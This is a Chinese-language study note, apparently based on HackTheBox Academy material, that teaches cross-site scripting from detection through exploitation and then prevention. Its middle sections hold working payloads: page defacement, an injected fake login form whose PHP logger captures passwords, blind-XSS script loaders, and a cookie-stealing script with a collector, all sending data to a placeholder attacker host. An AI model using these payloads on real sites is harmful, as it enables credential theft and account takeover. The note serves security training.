【Bug Bounty Hunter】第七章-跨站脚本(XSS)

img

【Bug Bounty Hunter】笔记系列

0x00 XSS 基础

1. XSS 简介

1.1 什么是XSS

一个典型的 Web 应用程序的工作方式是接收来自后端服务器的 HTML 代码,然后在客户端的浏览器上进行渲染。如果有漏洞的 Web 应用程序没有正确地对用户输入进行处理,恶意用户就会在输入字段(如评论/回复)中注入额外的 JavaScript 代码,这样,当另一个用户查看同一个页面时,就会在不知情的情况下执行这段恶意 JavaScript 代码。

1.2 XSS类型

类型 Type 描述
存储型(持久型)XSS Stored (Persistent) XSS 最关键的 XSS 类型,用户输入恶意代码会存储在后端数据库中,然后在浏览时执行恶意代码(如帖子或评论)。
反射(非持久)XSS Reflected (Non-Persistent) XSS 用户输入的恶意代码经过后端服务器处理后显示在页面上,但未被存储(如搜索结果或错误信息)。
基于 DOM 的 XSS DOM-based XSS 用户输入的恶意代码直接显示在浏览器中,并且完全在客户端处理,而没有到达后端服务器(例如,通过客户端 HTTP 参数或锚标签)。

2. 存储型 XSS

一个典型的 XSS Payload 如下:

1
<script>alert(window.origin)</script>

如果页面允许任何输入并且不对其执行任何处理,将会在页面进行一个弹窗,并显示执行此恶意代码的页面的 URL。

提示:许多现代 Web 应用程序都使用跨域 IFrame 来处理用户输入,因此即使网络表单存在 XSS 漏洞,也不会成为主 Web 应用程序的漏洞。这就是为什么我们要在警报框中显示 window.origin 的值,而不是像 1 这样的数字。在这种情况下,弹窗将显示正在执行恶意代码的页面的 URL,并在使用 IFrame 的情况下确认哪个表单是易受攻击的表单。

由于某些浏览器可能会在特定位置阻止 alert() JavaScript 函数,因此了解其他一些基本的 XSS Payload 对验证 XSS 的存在可能很有帮助。其中一个 XSS Payload 是 <plaintext>,它会停止渲染后面的 HTML 代码,并将其显示为纯文本。另一个容易被发现的 Payload 是 <script>print()</script>,它会弹出浏览器打印对话框,任何浏览器都不太可能阻止它。

要查看 Payload 是否持续存在并存储在后端,我们可以刷新页面,查看是否再次收到警报。如果是,我们就会看到,即使在整个页面刷新过程中,我们也会不断收到警报,这就证实了这确实是一个存储/持久的 XSS 漏洞。

3. 反射型 XSS

非持久性 XSS 漏洞有两种类型:反射型 XSS(由后端服务器处理)和基于 DOM 的 XSS(完全在客户端处理,永远不会到达后端服务器)。与持久性 XSS 不同,非持久性 XSS 漏洞是临时性的,不会因页面刷新而持久存在。因此,我们的攻击只会影响目标用户,而不会影响访问页面的其他用户。

4. DOM XSS

第三种也是最后一种 XSS 是另一种非持久类型,称为基于 DOM 的 XSS。反射型 XSS 通过 HTTP 请求将输入数据发送到后端服务器,而 DOM 型 XSS 则完全在客户端通过 JavaScript 进行处理。当使用 JavaScript 通过文档对象模型(DOM)更改页面内容时,就会发生 DOM XSS。

4.1 Source & Sink

为了进一步理解基于 DOM 的 XSS 漏洞的本质,我们必须了解页面显示对象的 Source 和 Sink 的概念。 Source 是接受用户输入的 JavaScript 对象,它可以是任何输入参数,如 URL 参数或输入字段,如我们上面所见。

另一方面,Sink 是将用户输入写入到页面上的 DOM 对象。如果 Sink 函数没有正确处理用户输入,则很容易受到 XSS 攻击。一些常用的写入 DOM 对象 JavaScript 函数有:

  • document.write()
  • DOM.innerHTMLDOM.innerHTML
  • DOM.outerHTMLDOM.outerHTML

此外,一些写入 DOM 对象的 jQuery 库函数有:

  • add()
  • after()
  • append()

如果我们尝试之前使用的 XSS Payload ,就会发现它无法执行。这是因为 innerHTML 函数不允许在其中使用 <script> 标记作为安全功能。不过,我们使用的许多其他 XSS Payload 都不包含 <script> 标记,例如下面的 XSS Payload :

1
<img src="" onerror=alert(window.origin)>

上面的代码创建了一个新的 HTML 图像对象,该对象具有 onerror 属性,可以在找不到图像时执行 JavaScript 代码。因此,当我们提供了一个空图像链接("")时,我们的代码应该始终被执行,而不必使用 <script> 标签。

5. XSS 发现

5.1 自动发现

几乎所有 Web 应用程序漏洞扫描程序(如 NessusBurp ProZAP)都具有检测所有三种 XSS 漏洞的各种功能。这些扫描程序通常进行两种类型的扫描:被动扫描(审查客户端代码,查找潜在的基于 DOM 的漏洞)和主动扫描(发送各种类型的 Payload ,尝试通过在页面源代码中注入 Payload 来触发 XSS)。

一些常见的开源工具可以帮助我们发现 XSS,如 XSS StrikeBrute XSSXSSer。 我们可以试用 XSS Strike 来帮助我们发现 XSS 漏洞, 使用 git cloneXSS Strike 克隆到本地:

1
2
3
4
root@linux$ git clone https://github.com/s0md3v/XSStrike.git
root@linux$ cd XSStrike
root@linux$ pip install -r requirements.txt
root@linux$ python xsstrike.py

我们可以运行脚本,并使用 -u 参数提供一个 URL:

1
root@linux$ python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"

5.2 手动发现

手动发现 XSS 漏洞的难度取决于网络应用程序的安全级别。基本的 XSS 漏洞通常可以通过测试各种 XSS Payload 发现,但识别高级 XSS 漏洞则需要高级代码审查技能。

我们可以在线找到大量 XSS Payload ,例如 PayloadAllTheThingsPayloadBox 。然后将每个 Payload 复制并添加到我们的表单中,看看是否会弹出警告框。

注意:XSS 可注入 HTML 页面中的任何输入,这不仅限于 HTML 输入字段,还可能注入 Cookie 或 User-Agent 等 HTTP 标头(即在页面上显示其值时)。

手动复制粘贴 XSS Payload 不是很有效,即使 Web 应用程序存在漏洞,我们也可能需要一段时间才能识别漏洞,当我们有许多输入的字段需要测试时,应该编写我们自己的 Python 脚本来自动发送这些 Payload,然后比较页面源代码以查看我们的 Payload 是如何呈现的,这样,我们就可以根据目标 Web 应用程序定制我们的工具。

5.3 代码审计

检测 XSS 漏洞最可靠的方法是手动代码审查,它应该涵盖后端和前端代码。如果我们准确地理解我们的输入在到达浏览器之前是如何被处理的,我们就可以编写一个高度可靠地的自定义 Payload。

对于更常见的 Web 应用程序,我们不太可能通过 Payload 列表或 XSS 工具找到任何 XSS 漏洞。这是因为此类 Web 应用程序的开发人员可能通过漏洞评估工具运行其应用程序,然后在发布之前修补任何已识别的漏洞。对于这种情况,手动代码审查可能会发现未检测到的 XSS 漏洞,这些漏洞可能会在 Web 应用程序的公开版本中幸存下来。这些也是超出本模块范围的高级技术。不过,如果您有兴趣学习它们,Secure Coding 101: JavaScriptWhitebox Pentesting 101: Command Injection 彻底涵盖了这个主题。

0x01 XSS 攻击

1. 破坏

既然我们已经了解了不同类型的 XSS 以及发现网页中 XSS 漏洞的各种方法,那么我们就可以开始学习如何利用这些 XSS 漏洞了。如前所述,XSS 攻击的危害和范围取决于 XSS 的类型,存储型 XSS 最为严重,而基于 DOM 的 XSS 则不太严重。

1.1 破坏页面

通常情况下使用以下 HTML 元素来更改页面的外观:

  • 背景颜色 document.body.style.background
  • 背景 document.body.background
  • 页面标题 document.title
  • 页面文本 DOM.innerHTML

1.2 更改背景

1
<script>document.body.style.background = "#141d2b"</script>
1
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>

1.3 更改页面标题

1
<script>document.getElementById("todo").innerHTML = "New Text"</script>

1.4 更改页面文本

使用 innerHTML 函数更改特定HTML元素/DOM的文本:

1
<script>document.title = 'HackTheBox Academy'</script>

利用 jQuery 函数更有效地实现相同的目标,或者更改一行中多个元素的文本(为此,必须在页面源代码中导入 jQuery 库):

1
<script>$("#todo").html('New Text');</script>

使用 innerHTML 更改主体的整个 HTML 代码,如下所示:

1
<script>document.getElementsByTagName('body')[0].innerHTML = "New Text"</script>

将 HTML 代码缩小为一行并添加它是我们之前的 XSS Payload 。最终的 Payload 应如下所示:

1
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>

提示:明智的做法是尝试在本地运行 HTML 代码,看看它的外观并确保它按预期运行,然后再将其提交到最终的 Payload 中。

2. 网络钓鱼

另一种非常常见的 XSS 攻击类型是网络钓鱼攻击。网络钓鱼攻击通常利用看似合法的信息来诱骗受害者将敏感信息发送给攻击者。XSS 网络钓鱼攻击的一种常见形式是通过注入虚假登录表单,将登录详细信息发送到攻击者的服务器,然后攻击者的服务器可用于代表受害者登录并控制其帐户和敏感信息。

2.1 登录表单注入

要执行 XSS 网络钓鱼攻击,我们必须注入一段 HTML 代码,在目标页面上显示登录表单。此表单应将登录信息发送到我们正在侦听的服务器,一旦用户尝试登录,我们就会获取他们的凭据。

表单构造如下:

1
2
3
4
5
6
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>

在上面的 HTML 代码中,OUR_IP 是我们监听服务的的 IP 地址。

接下来,我们把构造的表单内容代码利用 XSS 写入到目标站点上:

1
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

2.2 清理

为了使登录表单看上去更加真实,我们应该清理掉页面上存在的其他内容,找到我们要删除的元素的 ID,可以使用下面的代码进行删除:

1
document.getElementById('urlform').remove();

可以把注入的表单和要删除多于内容的代码合并为一个:

1
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('ID').remove();

我们在注入之后如果发现仍留下了一段原始 HTML 代码。只需将其注释掉,在 XSS Payload 后添加 HTML 注释即可将其删除:

1
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('ID').remove();<!--

2.3 凭据窃取

当受害者尝试登录我们注入的登录表单时,我们会窃取登录凭据。如果您尝试登录注入的登录表单,您可能会收到错误“无法访问此站点”。这是因为,如前所述,我们的 HTML 表单将登录请求发送到我们的 IP,该 IP 应该侦听连接。如果我们没有监听连接,我们将收到“无法访问站点”错误。

因此,让我们启动一个简单的 netcat 服务器

1
root@linux$ sudo nc -lvnp 80

我们可以捕获 HTTP 请求 URL /?username=test&password=test 中的凭据。如果任何受害者尝试使用表单登录,我们将获取他们的凭据。

由于我们仅使用 netcat 侦听器进行侦听,因此它无法正确处理 HTTP 请求,受害者将收到“无法连接”错误,这可能会引起一些怀疑。因此,我们可以使用一个基本的 PHP 脚本来记录来自 HTTP 请求的凭据,然后将受害者返回到原始页面,而无需进行任何注入。

创建一个 index.php 文件并将其放置在 /tmp/tmpserver/ 中(不要忘记将 SERVER_IP 替换为目标网站的地址,也就是登录后进行跳转的地址):

1
2
3
4
5
6
7
8
9
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/index.php");
fclose($file);
exit();
}
?>
1
2
3
4
root@linux$ mkdir /tmp/tmpserver
root@linux$ cd /tmp/tmpserver
root@linux$ vi index.php
root@linux$ sudo php -S 0.0.0.0:80

如果我们检查 creds.txt 文件,我们会发现我们确实获得了登录凭据:

1
root@linux$ cat creds.txt

3. 会话劫持

现代 Web 应用程序利用 cookie 在不同的浏览会话中维护用户的会话。这使得用户只需登录一次并保持登录会话处于活动状态,即使他们在其他时间或日期访问同一网站也是如此。但是,如果恶意用户从受害者的浏览器获取 cookie 数据,他们可能能够在不知道受害者用户凭据的情况下获得登录访问权限。

3.1 XSS盲注

当漏洞在我们无权访问的页面上触发时,就会出现盲 XSS 漏洞。

XSS盲注漏洞通常发生在只能由某些用户(例如管理员)访问的表单中。例如:

  • 联系表单
  • 评论
  • 用户详情
  • Support Tickets
  • HTTP User-Agent header

当我们无法看到页面反馈的信息,可以使用上一节中使用过的相同技巧,即使用 XSS Payload 向服务器发送 HTTP 请求。如果 JavaScript 代码被执行,我们的机器就会收到响应,从而知道页面确实存在漏洞。

但是这引入了两个问题:

  • 我们如何知道哪个特定字段存在漏洞?由于任何字段都可能执行我们的代码,因此我们无法知道其中哪个字段执行了。
  • 我们如何知道要使用什么 XSS Payload ?由于页面可能存在漏洞,但 Payload 可能无法工作?

3.2 加载远程脚本

在 HTML 中我们可以通过提供远程脚本的 URL 来包含远程脚本,因此我们可以利用它来执行我们部署的远程 JavaScript 文件。我们可以将请求的脚本名称从 script.js 改为我们要注入的字段名称,这样当我们在机器上收到请求时,就能识别执行脚本的易受攻击输入字段。

1
2
<script src="http://OUR_IP/username.js"></script>
<script src="http://OUR_IP/password.js"></script>

如果我们收到对 /username 的请求,那么我们就知道 username 字段容易受到 XSS 的攻击。

有了这些,我们就可以开始测试各种加载远程脚本的 XSS Payload ,看看它们中哪些会向我们发送请求。以下是 PayloadsAllTheThings 中的几个示例:

1
2
3
4
5
6
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

在开始发送 Payload 之前,我们需要在远程机器上使用 netcat 或 php 启动一个监听器,例如:

1
2
3
4
root@linux$ mkdir /tmp/tmpserver
root@linux$ cd /tmp/tmpserver
root@linux$ vi index.php
root@linux$ sudo php -S 0.0.0.0:80

提交表单后,我们会等待几秒钟,然后检查终端,看看是否有任何东西调用了我们的服务器。如果没有任何东西调用我们的服务器,那么我们就可以继续下一个 Payload ,依此类推。一旦收到对服务器的调用,我们应将上次使用的 XSS Payload 记作工作 Payload ,并将调用服务器的输入字段名称记作易受攻击的输入字段。

3.3 会话劫持

一旦我们找到工作 XSS 负载并识别出易受攻击的输入字段,我们就可以继续进行 XSS 开发并执行会话劫持攻击。会话劫持攻击与我们在上一节中执行的网络钓鱼攻击非常相似。它需要一个 JavaScript Payload 来向我们发送所需的数据,并需要一个托管在我们的服务器上的 PHP 脚本来抓取和解析传输的数据。

我们在本地创建一个 script.js ,它将托管到远程服务器上:

1
new Image().src='http://OUR_IP/index.php?c='+document.cookie

其中 OUR_IP 替换成远程服务器上的IP

需要注入目标页面上代码如下:

1
<script src=http://OUR_IP/script.js></script>

接下来我们还要启动一个 PHP 服务,用来接收传过来的 Cookies。

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>

现在,我们等待受害者访问有漏洞的页面并查看我们的 XSS Payload 。一旦他们这样做了,我们的服务器上就会收到两个请求,一个是对 script.js 的请求,而后者又会用 cookie 值发出另一个请求。

如前所述,我们可以在终端中直接获取 cookie 值。不过,由于我们准备的是 PHP 脚本,因此还能获得包含 cookie 干净日志的 cookies.txt 文件:

1
root@linux$ cat cookies.txt

最后,我们可以在目标网站上使用这个cookie来访问受害者的帐户。

0x02 XSS 预防

1. XSS 预防

至此,我们应该对什么是 XSS 漏洞及其不同类型、如何检测 XSS 漏洞以及如何利用 XSS 漏洞有了很好的了解。最后,我们将学习如何防御 XSS 漏洞。

如前所述,XSS 漏洞主要与网络应用程序的两个部分有关:一个 Source(如用户输入字段)和 一个 Sink 显示输入数据的内容。这是我们在前端和后端都应重点保护的两个主要部分。

防止 XSS 漏洞最重要的一点是在前端和后端都进行适当的输入清理和验证。除此之外,还可以采取其他安全措施来帮助防止 XSS 攻击。

1.1 前端

前端输入验证

通过一些输入规则验证,保证输入数据被限制特定的格式,例如邮件输入,电话号码输入。

前端输入清理

输入验证之外,我们还应该始终通过转义任何特殊字符来确保不允许任何包含 JavaScript 代码的输入。为此,我们可以利用 DOMPurify 库:

1
2
<script type="text/javascript" src="dist/purify.min.js"></script>
let clean = DOMPurify.sanitize( dirty );
输入拦截

最后,我们应始终确保某些 HTML 标签不会直接被用户输入,例如:

  • JavaScript code <script></script>
  • CSS Style Code <style></style>
  • Tag/Attribute Fields <div name='INPUT'></div>
  • HTML Comments <!-- -->

除此之外,我们应该避免使用允许更改 HTML 字段原始文本的 JavaScript 函数,例如:

  • DOM.innerHTML
  • DOM.outerHTML
  • document.write()
  • document.writeln()
  • document.domain

以及以下内容jQuery 函数:

  • html()
  • parseHTML()
  • add()
  • append()
  • prepend()
  • after()
  • insertAfter()
  • before()
  • insertBefore()
  • replaceAll()
  • replaceWith()

1.2 后端

后端输入验证

后端的输入验证与前端非常相似,它使用正则表达式或库函数来确保输入字段是预期的。如果不匹配,那么后端服务器将拒绝它并且不显示它。

后端输入净化

当涉及到输入清理时,后端起着至关重要的作用,因为可以通过发送自定义GET或POST请求来轻松绕过前端输入清理。幸运的是,有针对各种后端语言的非常强大的库,可以正确清理任何用户输入,这样我们就可以确保不会发生注入。

例如,对于 PHP 后端,我们可以使用该addslashes函数通过使用反斜杠转义特殊字符来清理用户输入:

1
addslashes($_GET['email'])

对于 NodeJS 后端,我们也可以像前端一样使用 DOMPurify

输出 HTML 编码

后端需要注意的另一个重要方面是输出编码。这意味着我们必须将任何特殊字符编码到 HTML 代码中,如果我们需要在不引入 XSS 漏洞的情况下显示整个用户输入,这一点很有帮助。对于 PHP 后端,我们可以使用 htmlspecialchars 或 htmlentities 函数,将某些特殊字符编码到 HTML 代码中(如将 < 转换为 &lt),这样浏览器就会正确显示这些字符,但不会导致任何形式的注入。

对于 NodeJS 后端,我们可以使用任何进行 HTML 编码的库,例如html-entities

服务器配置

除了上述内容之外,还有某些后端 Web 服务器配置可能有助于防止 XSS 攻击,例如:

  • 在整个域内使用 HTTPS。
  • 使用 XSS 防范标头。
  • 为页面使用适当的内容类型,如 X-Content-Type-Options=nosniff。
  • 使用 Content-Security-Policy 选项,如 script-src 'self',只允许本地托管的脚本。
  • 使用 HttpOnlySecure cookie 标志,防止 JavaScript 读取 cookie,并只通过 HTTPS 传输 cookie。

除了上述之外,拥有一个好的 Web Application Firewall (WAF)可以显着减少 XSS 攻击的机会,因为它会自动检测通过 HTTP 请求的任何类型的注入,并自动拒绝此类请求。